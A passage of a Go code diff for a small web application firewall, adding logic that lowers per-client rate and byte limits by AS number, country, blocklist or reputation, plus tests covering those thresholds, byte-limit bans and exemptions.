+		s.t.Fatalf("read response: %v", err)
+	}
+
+	_ = conn.Close()
+
+	if got.status != status {
+		s.t.Errorf("request %d, from %s: status %d, want %d", s.sent+1, from,
+			got.status, status)
+	}
+
+	line := s.out.endedLines(s.t, s.sent+1)[s.sent]
+	s.sent++
+	wantLine(s.t, line, status, action)
+
+	return line, got
+}

internal/servewaf/biased.go

@@ -0,0 +1,119 @@
+package servewaf
+
+import (
+	"sneak.berlin/go/smallwebwaf/internal/config"
+)
+
+// whole is the percentage of each limit a client gets when no biased
+// threshold lowers its limits.
+const whole = 100
+
+// percentage is a client's limit percentage for the rate limits or for
+// the byte limits, as the biased thresholds give it, and the setting that
+// gave it: "" with whole when none lowers that kind of limit.
+type percentage struct {
+	percent int64
+	setting string
+}
+
+// biasedThresholdsSet reports whether a biased threshold can lower a
+// client's limits: one of its lists is not empty,
+// SWWAF_UNKNOWN_LIMIT_PERCENT is below 100, or SWWAF_ASN_LIMIT_PERCENT_URL
+// is set. The client's lookup is then needed before its request goes on.
+func biasedThresholdsSet(cfg *config.Config) bool {
+	return len(cfg.ASNLimitPercent) > 0 || len(cfg.CountryLimitPercent) > 0 ||
+		len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
+		cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
+}
+
+// limitPercentages returns the client's limit percentages, for the rate
+// limits and for the byte limits, by its AS number and country as looked
+// up, each "" when unknown, and the blocklists, DNSBL zones and AbuseIPDB
+// that list it. Each is the lowest of those the settings give it, the
+// first of them in the order below when several are lowest: the
+// percentage SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one the file
+// SWWAF_ASN_LIMIT_PERCENT_URL names gives it, the one
+// SWWAF_COUNTRY_LIMIT_PERCENT gives its country, for a client without a
+// country, unless its request skipped the wait for GeoJS,
+// SWWAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist lists, the
+// percentage of SWWAF_BLOCKLIST_ACTION while it is limit, and for a client
+// a DNSBL zone's verdict lists, or whose AbuseIPDB score is a hit, the
+// percentage of SWWAF_REPUTATION_ACTION while it is limit. For the byte
+// limits, SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT take the
+// place of the first three for an AS number or a country they list.
+func (rq *request) limitPercentages() (percentage, percentage) {
+	cfg := rq.h.config
+	asn, country := rq.line.ASN, rq.line.Country
+
+	unknown := percentage{percent: whole}
+	if country == "" && !rq.skippedLookupWait {
+		unknown = percentage{cfg.UnknownLimitPercent, "SWWAF_UNKNOWN_LIMIT_PERCENT"}
+	}
+
+	fetched := percentage{percent: whole}
+	if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
+		fetched = percentage{percent, "SWWAF_ASN_LIMIT_PERCENT_URL"}
+	}
+
+	blocklisted := percentage{percent: whole}
+	if rq.blocklisted && cfg.BlocklistAction == "limit" {
+		blocklisted = percentage{cfg.BlocklistLimitPercent, "SWWAF_BLOCKLIST_ACTION"}
+	}
+
+	reputationListed := percentage{percent: whole}
+	if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
+		reputationListed = percentage{cfg.ReputationLimitPercent, "SWWAF_REPUTATION_ACTION"}
+	}
+
+	asnRequests := lowest(given(cfg.ASNLimitPercent, asn, "SWWAF_ASN_LIMIT_PERCENT"),
+		fetched)
+	countryRequests := given(cfg.CountryLimitPercent, country,
+		"SWWAF_COUNTRY_LIMIT_PERCENT")
+
+	asnBytes, countryBytes := asnRequests, countryRequests
+	if _, listed := cfg.ASNBytesPercent[asn]; listed {
+		asnBytes = given(cfg.ASNBytesPercent, asn, "SWWAF_ASN_BYTES_PERCENT")
+	}
+
+	if _, listed := cfg.CountryBytesPercent[country]; listed {
+		countryBytes = given(cfg.CountryBytesPercent, country, "SWWAF_COUNTRY_BYTES_PERCENT")
+	}
+
+	return lowest(asnRequests, countryRequests, unknown, blocklisted, reputationListed),
+		lowest(asnBytes, countryBytes, unknown, blocklisted, reputationListed)
+}
+
+// given returns the percentage percents, the setting named setting, gives
+// code, an AS number or a country, or whole when it does not list code.
+func given(percents map[string]int64, code, setting string) percentage {
+	percent, listed := percents[code]
+	if !listed {
+		return percentage{percent: whole}
+	}
+
+	return percentage{percent, setting}
+}
+
+// lowest returns the lowest of percentages below whole, the first of them
+// when several are lowest, or whole when none is below it.
+func lowest(percentages ...percentage) percentage {
+	low := percentage{percent: whole}
+
+	for _, p := range percentages {
+		if p.percent < low.percent {
+			low = p
+		}
+	}
+
+	return low
+}
+
+// logged returns p as the log line and the notes of a ban give it: its
+// percent and setting, or nil and "" for whole, which they leave out.
+func (p percentage) logged() (*int64, string) {
+	if p.percent == whole {
+		return nil, ""
+	}
+
+	return &p.percent, p.setting
+}

internal/servewaf/biased_test.go

@@ -0,0 +1,499 @@
+package servewaf_test
+
+import (
+	"fmt"
+	"io"
+	"maps"
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"path/filepath"
+	"strings"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+// The biased thresholds.
+const (
+	asnLimitPercent     = "SWWAF_ASN_LIMIT_PERCENT"
+	countryLimitPercent = "SWWAF_COUNTRY_LIMIT_PERCENT"
+	asnBytesPercent     = "SWWAF_ASN_BYTES_PERCENT"
+	countryBytesPercent = "SWWAF_COUNTRY_BYTES_PERCENT"
+	unknownLimitPercent = "SWWAF_UNKNOWN_LIMIT_PERCENT"
+)
+
+const (
+	// asnDEHalf and countryDEHalf give fromDE's AS number and its country
+	// half of every limit, and asnDEQuarter gives its AS number a quarter.
+	asnDEHalf     = asnDE + ":50"
+	asnDEQuarter  = asnDE + ":25"
+	countryDEHalf = "de:50"
+	// noCountry is in an AS of its own, AS64500, and in no country.
+	noCountry = "192.0.2.80"
+	// fourAMinute is the rate limit these tests set: half of it is 2
+	// requests a minute, a quarter of it 1.
+	fourAMinute = "4"
+	// twoUploads is the byte limit these tests set: 199 bytes, which an
+	// upload, a request with a body and its answer, 100 bytes, is within,
+	// and half of which, 99 bytes, it is over.
+	twoUploads = "199"
+	// none is how percentText gives a percentage left out.
+	none = "none"
+)
+
+func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		setting, value, from string
+	}{
+		{asnLimitPercent, asnDEHalf, fromDE},
+		{countryLimitPercent, countryDEHalf, fromDE},
+		{unknownLimitPercent, "50", unplaced},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, _, _ := startWithLookups(t, map[string]string{
+				rateLimitPerMinute: fourAMinute, tc.setting: tc.value,
+			})
+
+			// Half of 4 requests a minute: the third breaks the limit.
+			for _, sent := range []struct {
+				status int
+				action string
+			}{
+				{http.StatusOK, requestlog.ActionForward},
+				{http.StatusOK, requestlog.ActionForward},
+				{http.StatusForbidden, requestlog.ActionRateLimited},
+			} {
+				line := s.get(tc.from, sent.status, sent.action)
+				wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+					"50 from "+tc.setting)
+			}
+
+			// fromKP, which no setting lists, has the whole limit.
+			for range 3 {
+				line := s.get(fromKP, http.StatusOK, requestlog.ActionForward)
+				wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+					none)
+			}
+		})
+	}
+}
+
+func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
+	t.Parallel()
+
+	// The AS numbers and countries are given in either case.
+	for _, tc := range []struct {
+		setting, value, from string
+	}{
+		{asnLimitPercent, asnDEHalf, fromDE},
+		{countryLimitPercent, "DE:50", fromDE},
+		{unknownLimitPercent, "50", unplaced},
+		{asnBytesPercent, "as64496:50", fromDE},
+		{countryBytesPercent, countryDEHalf, fromDE},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, _, _ := startWithLookups(t, map[string]string{
+				bytesLimitPerMinute: twoUploads, tc.setting: tc.value,
+			})
+
+			// The upload's 100 bytes are over half of 199, 99.
+			line := s.uploadFrom(tc.from)
+			if line.LimitHit != minuteBytes {
+				t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
+			}
+
+			wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting,
+				"50 from "+tc.setting)
+
+			// fromKP, which no setting lists, has the whole limit.
+			line = s.uploadFrom(fromKP)
+			if line.LimitHit != "" {
+				t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
+			}
+
+			wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, none)
+		})
+	}
+}
+
+func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// limitPercent and bytesPercent are the log line's, as percentText
+		// gives them, and limitHit is its limit_hit.
+		limitPercent, bytesPercent, limitHit string
+	}{
+		{
+			"lowering the byte limits alone",
+			map[string]string{asnBytesPercent: asnDEHalf},
+			none, "50 from " + asnBytesPercent, minuteBytes,
+		},
+		{
+			"lowering the byte limits alone, by country",
+			map[string]string{countryBytesPercent: countryDEHalf},
+			none, "50 from " + countryBytesPercent, minuteBytes,
+		},
+		{
+			"raising the byte limits back",
+			map[string]string{asnLimitPercent: asnDEHalf, asnBytesPercent: asnDE + ":100"},
+			"50 from " + asnLimitPercent, none, "",
+		},
+		{
+			"raising the byte limits back, by country",
+			map[string]string{countryLimitPercent: countryDEHalf, countryBytesPercent: "de:100"},
+			"50 from " + countryLimitPercent, none, "",
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			env := map[string]string{bytesLimitPerMinute: twoUploads}
+			maps.Copy(env, tc.env)
+			s, _, _ := startWithLookups(t, env)
+
+			// The upload's 100 bytes are over 99, half of 199, and within 199.
+			line := s.uploadFrom(fromDE)
+			if line.LimitHit != tc.limitHit {
+				t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
+			}
+
+			wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+				tc.limitPercent)
+			wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting,
+				tc.bytesPercent)
+		})
+	}
+}
+
+func TestZeroPercentIsAZeroAllowance(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithLookups(t, map[string]string{asnLimitPercent: asnDE + ":0"})
+
+	// The first request breaks the limit, and bans the client; the log line
+	// gives the 0.
+	line := s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
+	if line.fields["limit_percent"] != float64(0) ||
+		line.fields["limit_percent_setting"] != asnLimitPercent {
+		t.Errorf("log line has limit_percent %v from %v, want 0 from %s",
+			line.fields["limit_percent"], line.fields["limit_percent_setting"],
+			asnLimitPercent)
+	}
+
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestLowestPercentageApplies(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		from string
+		// want is the log line's limit_percent, as percentText gives it.
+		want string
+	}{
+		{
+			"the country's",
+			map[string]string{asnLimitPercent: asnDEHalf, countryLimitPercent: "de:25"},
+			fromDE, "25 from " + countryLimitPercent,
+		},
+		{
+			"the AS number's",
+			map[string]string{asnLimitPercent: asnDEQuarter, countryLimitPercent: countryDEHalf},
+			fromDE, "25 from " + asnLimitPercent,
+		},
+		{
+			"the AS number's, the first of two alike",
+			map[string]string{asnLimitPercent: asnDEQuarter, countryLimitPercent: "de:25"},
+			fromDE, "25 from " + asnLimitPercent,
+		},
+		{
+			"that for a client without a country",
+			map[string]string{asnLimitPercent: "AS64500:50", unknownLimitPercent: "25"},
+			noCountry, "25 from " + unknownLimitPercent,
+		},
+		{
+			// SWWAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
+			"the AS number's, for a client without a country",
+			map[string]string{asnLimitPercent: "AS64500:25"},
+			noCountry, "25 from " + asnLimitPercent,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			env := map[string]string{rateLimitPerMinute: fourAMinute}
+			maps.Copy(env, tc.env)
+			s, _, _ := startWithLookups(t, env)
+
+			// A quarter of 4 requests a minute: the second breaks the limit.
+			s.get(tc.from, http.StatusOK, requestlog.ActionForward)
+
+			line := s.get(tc.from, http.StatusForbidden, requestlog.ActionRateLimited)
+			wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+				tc.want)
+		})
+	}
+}
+
+func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithLookups(t, map[string]string{
+		rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50",
+	})
+
+	// One the lookup database does not hold, and one on a private address,
+	// which is never looked up: the third request of each breaks half of 4.
+	for _, from := range []string{unplaced, "10.0.0.8"} {
+		s.get(from, http.StatusOK, requestlog.ActionForward)
+		s.get(from, http.StatusOK, requestlog.ActionForward)
+		s.get(from, http.StatusForbidden, requestlog.ActionRateLimited)
+	}
+
+	// One in a country has the whole limit.
+	for range 3 {
+		s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	}
+}
+
+func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
+	t.Parallel()
+
+	// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
+	// says, with a GeoJS that never answers.
+	synctest.Test(t, func(t *testing.T) {
+		server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now,
+			map[string]string{unknownLimitPercent: "0"})
+
+		// Once the time the request waits for its answer is up, the client
+		// counts as without a country, and its zero allowance refuses the
+		// request.
+		serveFromDE(t, server, http.MethodGet, http.NoBody)
+
+		line := out.requestLine(t)
+		wantLine(t, line, http.StatusForbidden, requestlog.ActionRateLimited)
+		wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+			"0 from "+unknownLimitPercent)
+	})
+}
+
+func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
+	t.Parallel()
+
+	const timeout = 3 * time.Second
+
+	for _, tc := range []struct {
+		setting, value string
+		waits          bool
+	}{
+		{asnLimitPercent, asnDEHalf, true},
+		{countryLimitPercent, countryDEHalf, true},
+		{asnBytesPercent, asnDEHalf, true},
+		{countryBytesPercent, countryDEHalf, true},
+		{unknownLimitPercent, "99", true},
+		{asnLimitPercentURL, asnURL, true},
+		// At 100, its default, it lowers no limit.
+		{unknownLimitPercent, "100", false},
+	} {
+		t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
+			t.Parallel()
+
+			// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
+			// says, with a GeoJS that never answers.
+			synctest.Test(t, func(t *testing.T) {
+				server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now,
+					map[string]string{lookupTimeout: timeout.String(), tc.setting: tc.value})
+				began := time.Now()
+
+				serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
+
+				want := time.Duration(0)
+				if tc.waits {
+					want = timeout
+				}
+
+				if waited := time.Since(began); waited != want {
+					t.Errorf("the request waited %s for its answer, want %s", waited, want)
+				}
+
+				wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
+
+				// The bubble's clock stops once this function returns, so the
+				// request to GeoJS, which a request that did not wait leaves
+				// under way, has to be abandoned before then.
+				time.Sleep(timeout)
+			})
+		})
+	}
+}
+
+func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// before is how many uploads come before the one that breaks a
+		// limit, which is answered with status and logged with action.
+		before int
+		status int
+		action string
+		// reason and want are the ban's reason, and its notes' limit
+		// percentage, as percentText gives it.
+		reason, want string
+	}{
+		{
+			// A quarter of 12 requests a minute is 3: the fourth breaks it.
+			"a rate limit",
+			map[string]string{rateLimitPerMinute: "12", asnLimitPercent: asnDEQuarter},
+			3, http.StatusForbidden, requestlog.ActionRateLimited,
+			"requests per minute over the limit of 3", "25 from " + asnLimitPercent,
+		},
+		{
+			// The byte limits' percentage, not the rate limits'.
+			"a byte limit",
+			map[string]string{
+				bytesLimitPerMinute: twoUploads, asnLimitPercent: asnDEQuarter,
+				asnBytesPercent: asnDEHalf,
+			},
+			0, http.StatusOK, requestlog.ActionForward,
+			"bytes per minute over the limit of 99", "50 from " + asnBytesPercent,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s, server, queue := startWithLookups(t, tc.env)
+
+			for range tc.before {
+				s.uploadFrom(fromDE)
+			}
+
+			s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, uploadBody,
+				tc.status, tc.action)
+
+			held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
+			if len(held) != 1 {
+				t.Fatalf("bans %+v, want one", held)
+			}
+
+			notes := held[0].Notes
+			if held[0].Reason != tc.reason {
+				t.Errorf("the ban's reason is %q, want %q", held[0].Reason, tc.reason)
+			}
+
+			wantPercent(t, "the notes' limit_percent", notes.LimitPercent,
+				notes.LimitPercentSetting, tc.want)
+
+			waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+			if len(waiting) != 1 {
+				t.Fatalf("%d alerts wait, want the ban's alone: %+v", len(waiting), waiting)
+			}
+
+			alerted, _ := waiting[0].Detail["notes"].(bans.Notes)
+			wantPercent(t, "the alert's notes' limit_percent", alerted.LimitPercent,
+				alerted.LimitPercentSetting, tc.want)
+		})
+	}
+}
+
+// startWithLookups is startWithLookupsAndClock for a test that needs no
+// clock.
+func startWithLookups(
+	t *testing.T, env map[string]string,
+) (*sender, *servewaf.Server, *alerts.Queue) {
+	t.Helper()
+
+	s, _, server, queue := startWithLookupsAndClock(t, env)
+
+	return s, server, queue
+}
+
+// startWithLookupsAndClock is startAppWithAlerts in front of
+// readAndAnswer, with the settings in env on top of clients looked up in a
+// lookup database, which places fromDE and fromKP in the AS numbers and
+// countries the stand-in for GeoJS gives them, noCountry in AS64500 and no
+// country, and no other address.
+func startWithLookupsAndClock(
+	t *testing.T, env map[string]string,
+) (*sender, *clock, *servewaf.Server, *alerts.Queue) {
+	t.Helper()
+
+	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+	lookuptest.Write(t, path, map[string]lookuptest.Network{
+		fromDE + "/32":    {ASN: asnDE, ASName: asNameDE, Country: "DE"},
+		fromKP + "/32":    {ASN: asnKP, ASName: asNameKP, Country: "KP"},
+		noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"},
+	})
+
+	settings := map[string]string{lookupSource: fileSource, lookupDBPath: path}
+	maps.Copy(settings, env)
+
+	return startAppWithAlerts(t, readAndAnswer, settings)
+}
+
+// uploadFrom is upload from the client at from.
+func (s *sender) uploadFrom(from string) logLine {
+	s.t.Helper()
+
+	line, _ := s.requestWithBody(http.MethodPost, from, "/", uploadHeader, uploadBody,
+		http.StatusOK, requestlog.ActionForward)
+
+	return line
+}
+
+// serveFromDE hands a question about a request from fromDE with method and body
+// straight to server's handler, without the network, and returns once it is
+// answered.
+func serveFromDE(t *testing.T, server *servewaf.Server, method string, body io.Reader) {
+	t.Helper()
+
+	req := httptest.NewRequestWithContext(t.Context(), method, "/", body)
+	req.Header.Set(servewaf.ClientHeader, fromDE)
+	req.Header.Set(requestIDHeader, "the-id")
+
+	server.Handler.ServeHTTP(httptest.NewRecorder(), req)
+}
+
+// wantPercent checks a limit percentage that a log line or a ban's notes
+// give, what, and the setting that gave it, against want, as percentText
+// gives them.
+func wantPercent(t *testing.T, what string, percent *int64, setting, want string) {
+	t.Helper()
+
+	if got := percentText(percent, setting); got != want {
+		t.Errorf("%s is %s, want %s", what, got, want)
+	}
+}
+
+// percentText gives a limit percentage and the setting that gave it as
+// text, such as "50 from SWWAF_ASN_LIMIT_PERCENT", or none when both are
+// left out.
+func percentText(percent *int64, setting string) string {
+	switch {
+	case percent == nil && setting == "":
+		return none
+	case percent == nil:
+		return "none from " + setting
+	default:
+		return fmt.Sprintf("%d from %s", *percent, setting)
+	}
+}

internal/servewaf/bytelimits_test.go

@@ -0,0 +1,525 @@
+package servewaf_test
+
+import (
+	"bufio"
+	"io"
+	"net"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"strconv"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The byte limit settings.
+const (
+	bytesLimitPerMinute = "SWWAF_BYTES_LIMIT_PER_MINUTE"
+	bytesLimitPerHour   = "SWWAF_BYTES_LIMIT_PER_HOUR"
+	bytesLimitPerDay    = "SWWAF_BYTES_LIMIT_PER_DAY"
+	bytesCount          = "SWWAF_BYTES_COUNT"
+)
+
+// The values of SWWAF_BYTES_COUNT.
+const (
+	countResponse = "response"
+	countRequest  = "request"
+	countBoth     = "both"
+)
+
+const (
+	// bodyBytes is the size of the body of each request these tests send
+	// with one, and answerBytes that of each answer of the app.
+	bodyBytes   = 30
+	answerBytes = 70
+	// byteLimit is the byte limit these tests set, as a setting: a request
+	// with a body and its answer, 100 bytes, go over it.
+	byteLimit = "99"
+	// minuteBytes is limit_hit for SWWAF_BYTES_LIMIT_PER_MINUTE.
+	minuteBytes = "minute_bytes"
+)
+
+func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		setting, window string
+		// apart is the time between the two requests, which the window
+		// still covers.
+		apart time.Duration
+	}{
+		{bytesLimitPerMinute, minute, 0},
+		{bytesLimitPerHour, "hour", 2 * time.Minute},
+		{bytesLimitPerDay, "day", 2 * time.Hour},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, clk := startWithAnswers(t, map[string]string{
+				tc.setting: byteLimit, metricsToken: token,
+			})
+
+			// 70 bytes are within the limit of 99.
+			line, _ := s.download()
+			if line.LimitHit != "" || line.Offence != "" {
+				t.Errorf("log line has limit_hit %q and offence %q, want neither",
+					line.LimitHit, line.Offence)
+			}
+
+			// 140 bytes are over it. The response is passed on whole, and
+			// then bans the client for an hour.
+			clk.advance(tc.apart)
+			expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
+
+			line, got := s.download()
+			if got.err != nil || len(got.body) != answerBytes ||
+				line.ResponseBytes != answerBytes {
+				t.Errorf("got %d bytes (%v), and the log line has response_bytes %d, "+
+					"want %d", len(got.body), got.err, line.ResponseBytes, answerBytes)
+			}
+
+			if line.LimitHit != tc.window+"_bytes" || line.Offence != requestlog.OffenceLimit ||
+				line.BanExpires != expires {
+				t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
+					"want %s_bytes, limit and %s", line.LimitHit, line.Offence,
+					line.BanExpires, tc.window, expires)
+			}
+
+			s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+			wantMetric(t, s.scrape(), `smallwebwaf_rate_limit_hits_total{`+
+				`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
+		})
+	}
+}
+
+func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
+	t.Parallel()
+
+	s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: "50"})
+
+	// The answer's 70 bytes are over the limit of 50 on their own.
+	line, got := s.download()
+	if got.err != nil || len(got.body) != answerBytes || line.LimitHit != minuteBytes {
+		t.Errorf("got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
+			len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes)
+	}
+
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _, _ := startAppWithAlerts(t, breakOff, map[string]string{
+		bytesLimitPerMinute: "50",
+	})
+	expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
+
+	// The 70 bytes passed on before the app broke off are over the limit of
+	// 50, and ban the client for an hour.
+	line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
+		requestlog.ActionForward)
+	if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
+		line.BanExpires != expires {
+		t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
+			"want %d, %s and %s", len(got.body), line.LimitHit, line.BanExpires,
+			answerBytes, minuteBytes, expires)
+	}
+
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		setting string
+		counted float64
+	}{
+		{countResponse, answerBytes},
+		{countRequest, bodyBytes},
+		{countBoth, bodyBytes + answerBytes},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, _, _, _ := startAppWithAlerts(t, answerAfterUpgrade, map[string]string{
+				bytesLimitPerMinute: "29", bytesCount: tc.setting,
+			})
+
+			// The client sends 30 bytes and the app 70, each over the limit
+			// of 29, which bans the client once the WebSocket has closed.
+			line := s.webSocket()
+			if line.LimitHit != minuteBytes || line.Counts.MinuteBytes != tc.counted {
+				t.Errorf("log line has limit_hit %q and minute_bytes %v, want %s and %v",
+					line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted)
+			}
+
+			s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+		})
+	}
+}
+
+func TestBytesCountSaysWhichBytesCount(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		setting string
+		// each is the bytes each request counts, and breaking the request
+		// that goes over the limit of 99.
+		each     float64
+		breaking int
+	}{
+		{countResponse, answerBytes, 2},
+		{countRequest, bodyBytes, 4},
+		{countBoth, bodyBytes + answerBytes, 1},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, _ := startWithAnswers(t, map[string]string{
+				bytesLimitPerMinute: byteLimit, bytesCount: tc.setting,
+			})
+
+			for i := 1; i <= tc.breaking; i++ {
+				line := s.upload()
+
+				want := ""
+				if i == tc.breaking {
+					want = minuteBytes
+				}
+
+				counted := float64(i) * tc.each
+				if line.LimitHit != want || line.Counts.MinuteBytes != counted {
+					t.Errorf("request %d: log line has limit_hit %q and minute_bytes %v, "+
+						"want %q and %v", i, line.LimitHit, line.Counts.MinuteBytes,
+						want, counted)
+				}
+			}
+
+			s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+		})
+	}
+}
+
+func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
+	t.Parallel()
+
+	const (
+		allowed = "192.0.2.7"  // in SWWAF_ALLOW_NETS
+		exempt  = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
+	)
+
+	s, _ := startWithAnswers(t, map[string]string{
+		bytesLimitPerMinute:  byteLimit,
+		allowNets:            allowed,
+		rateLimitExemptNets:  exempt,
+		rateLimitExemptPaths: "/assets/",
+	})
+
+	// Each sends 200 bytes, none of which is counted.
+	for _, sent := range []struct{ from, path string }{
+		{allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"},
+	} {
+		for range 2 {
+			line, _ := s.requestWithBody(http.MethodPost, sent.from, sent.path,
+				uploadHeader, uploadBody, http.StatusOK, requestlog.ActionForward)
+			if _, counted := line.fields["counts"]; counted || line.LimitHit != "" {
+				t.Errorf("%s %s: log line has counts %v and limit_hit %q, want neither",
+					sent.from, sent.path, line.fields["counts"], line.LimitHit)
+			}
+		}
+	}
+
+	// A path that is not exempt is counted, and breaks the limit.
+	line := s.upload()
+	if line.LimitHit != minuteBytes {
+		t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
+	}
+}
+
+func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
+	t.Parallel()
+
+	s, _ := startWithAnswers(t, map[string]string{
+		bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
+	})
+
+	for i := 1; i <= 3; i++ {
+		line := s.upload()
+
+		counted := float64(i * (bodyBytes + answerBytes))
+		if line.LimitHit != "" || line.Counts.MinuteBytes != counted ||
+			line.Counts.HourBytes != counted || line.Counts.DayBytes != counted {
+			t.Errorf("request %d: log line has limit_hit %q and counts %+v, "+
+				"want none and %v bytes in each window", i, line.LimitHit,
+				line.Counts, counted)
+		}
+	}
+}
+
+func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
+		bytesLimitPerMinute: byteLimit,
+	})
+	start := clk.Now()
+
+	s.requestWithBody(http.MethodPost, client, "/upload?part=1", uploadHeader,
+		uploadBody, http.StatusOK, requestlog.ActionForward)
+
+	netblock := netip.MustParsePrefix(client + "/32")
+	want := bans.Ban{
+		Netblock: netblock,
+		Start:    start,
+		Expires:  start.Add(time.Hour),
+		Cause:    bans.CauseLimit,
+		Reason:   "bytes per minute over the limit of " + byteLimit,
+		Notes: bans.Notes{
+			Kind:   "bytes",
+			Limit:  99,
+			Window: minute,
+			Count:  bodyBytes + answerBytes,
+			// The request as it was answered, by the app.
+			Request: bans.Request{
+				Time:      start,
